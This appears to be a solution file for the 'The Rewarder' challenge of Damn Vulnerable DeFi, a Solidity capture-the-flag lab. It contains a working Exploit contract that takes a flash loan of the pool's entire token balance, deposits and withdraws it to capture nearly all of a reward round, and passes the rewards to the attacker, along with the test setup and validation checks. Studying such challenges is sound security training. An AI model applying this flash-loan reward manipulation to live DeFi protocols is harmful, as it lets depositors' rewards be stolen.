forked from nicolasgarcia214/damn-vulnerable-defi-foundry
-
Notifications
You must be signed in to change notification settings - Fork 0
/
TheRewarder.t.sol
163 lines (137 loc) · 5.78 KB
/
TheRewarder.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import {DSTest} from "ds-test/test.sol";
import {Utilities} from "../../utils/Utilities.sol";
import {console} from "../../utils/Console.sol";
import {Vm} from "forge-std/Vm.sol";
import {DamnValuableToken} from "../../../Contracts/DamnValuableToken.sol";
import {TheRewarderPool} from "../../../Contracts/the-rewarder/TheRewarderPool.sol";
import {RewardToken} from "../../../Contracts/the-rewarder/RewardToken.sol";
import {AccountingToken} from "../../../Contracts/the-rewarder/AccountingToken.sol";
import {FlashLoanerPool} from "../../../Contracts/the-rewarder/FlashLoanerPool.sol";
contract Exploit is DSTest {
TheRewarderPool private immutable rewarder;
FlashLoanerPool private immutable flashLoaner;
DamnValuableToken private immutable dvt;
RewardToken private immutable rwt;
address private immutable owner;
constructor(TheRewarderPool _rewarder, FlashLoanerPool _flashLoaner) {
owner = msg.sender;
rewarder = _rewarder;
flashLoaner = _flashLoaner;
dvt = _rewarder.liquidityToken();
rwt = _rewarder.rewardToken();
}
function run() external {
require(msg.sender == owner, "Not an owner");
uint256 poolBalance = dvt.balanceOf(address(flashLoaner));
flashLoaner.flashLoan(poolBalance);
}
function receiveFlashLoan(uint256 amount) external {
dvt.approve(address(rewarder), amount);
rewarder.deposit(amount);
rewarder.withdraw(amount);
dvt.transfer(address(flashLoaner), amount);
uint256 rewardBalance = rwt.balanceOf(address(this));
rwt.transfer(owner, rewardBalance);
}
}
contract TheRewarder is DSTest {
Vm internal immutable vm = Vm(HEVM_ADDRESS);
uint256 internal constant TOKENS_IN_LENDER_POOL = 1_000_000e18;
uint256 internal constant USER_DEPOSIT = 100e18;
Utilities internal utils;
FlashLoanerPool internal flashLoanerPool;
TheRewarderPool internal theRewarderPool;
DamnValuableToken internal dvt;
address payable[] internal users;
address payable internal attacker;
address payable internal alice;
address payable internal bob;
address payable internal charlie;
address payable internal david;
function setUp() public {
utils = new Utilities();
users = utils.createUsers(5);
alice = users[0];
bob = users[1];
charlie = users[2];
david = users[3];
attacker = users[4];
vm.label(alice, "Alice");
vm.label(bob, "Bob");
vm.label(charlie, "Charlie");
vm.label(david, "David");
vm.label(attacker, "Attacker");
dvt = new DamnValuableToken();
vm.label(address(dvt), "DVT");
flashLoanerPool = new FlashLoanerPool(address(dvt));
vm.label(address(flashLoanerPool), "Flash Loaner Pool");
// Set initial token balance of the pool offering flash loans
dvt.transfer(address(flashLoanerPool), TOKENS_IN_LENDER_POOL);
theRewarderPool = new TheRewarderPool(address(dvt));
// Alice, Bob, Charlie and David deposit 100 tokens each
for (uint8 i; i < 4; i++) {
dvt.transfer(users[i], USER_DEPOSIT);
vm.startPrank(users[i]);
dvt.approve(address(theRewarderPool), USER_DEPOSIT);
theRewarderPool.deposit(USER_DEPOSIT);
assertEq(
theRewarderPool.accToken().balanceOf(users[i]),
USER_DEPOSIT
);
vm.stopPrank();
}
assertEq(theRewarderPool.accToken().totalSupply(), USER_DEPOSIT * 4);
assertEq(theRewarderPool.rewardToken().totalSupply(), 0);
// Advance time 5 days so that depositors can get rewards
vm.warp(block.timestamp + 5 days); // 5 days
for (uint8 i; i < 4; i++) {
vm.prank(users[i]);
theRewarderPool.distributeRewards();
assertEq(
theRewarderPool.rewardToken().balanceOf(users[i]),
25e18 // Each depositor gets 25 reward tokens
);
}
assertEq(theRewarderPool.rewardToken().totalSupply(), 100e18);
assertEq(dvt.balanceOf(attacker), 0); // Attacker starts with zero DVT tokens in balance
assertEq(theRewarderPool.roundNumber(), 2); // Two rounds should have occurred so far
console.log(unicode"🧨 PREPARED TO BREAK THINGS 🧨");
}
function testExploit() public {
/** EXPLOIT START **/
// wait for the next round
vm.warp(block.timestamp + 5 days);
vm.startPrank(attacker);
Exploit expl = new Exploit(theRewarderPool, flashLoanerPool);
vm.label(address(expl), "Exploit");
expl.run();
vm.stopPrank();
/** EXPLOIT END **/
validation();
}
function validation() internal {
assertEq(theRewarderPool.roundNumber(), 3); // Only one round should have taken place
for (uint8 i; i < 4; i++) {
// Users should get negligible rewards this round
vm.prank(users[i]);
theRewarderPool.distributeRewards();
uint256 rewardPerUser = theRewarderPool.rewardToken().balanceOf(
users[i]
);
uint256 delta = rewardPerUser - 25e18;
assertLt(delta, 1e16);
}
// Rewards must have been issued to the attacker account
assertGt(theRewarderPool.rewardToken().totalSupply(), 100e18);
uint256 rewardAttacker = theRewarderPool.rewardToken().balanceOf(
attacker
);
// The amount of rewards earned should be really close to 100 tokens
uint256 deltaAttacker = 100e18 - rewardAttacker;
assertLt(deltaAttacker, 1e17);
// Attacker finishes with zero DVT tokens in balance
assertEq(dvt.balanceOf(attacker), 0);
}
}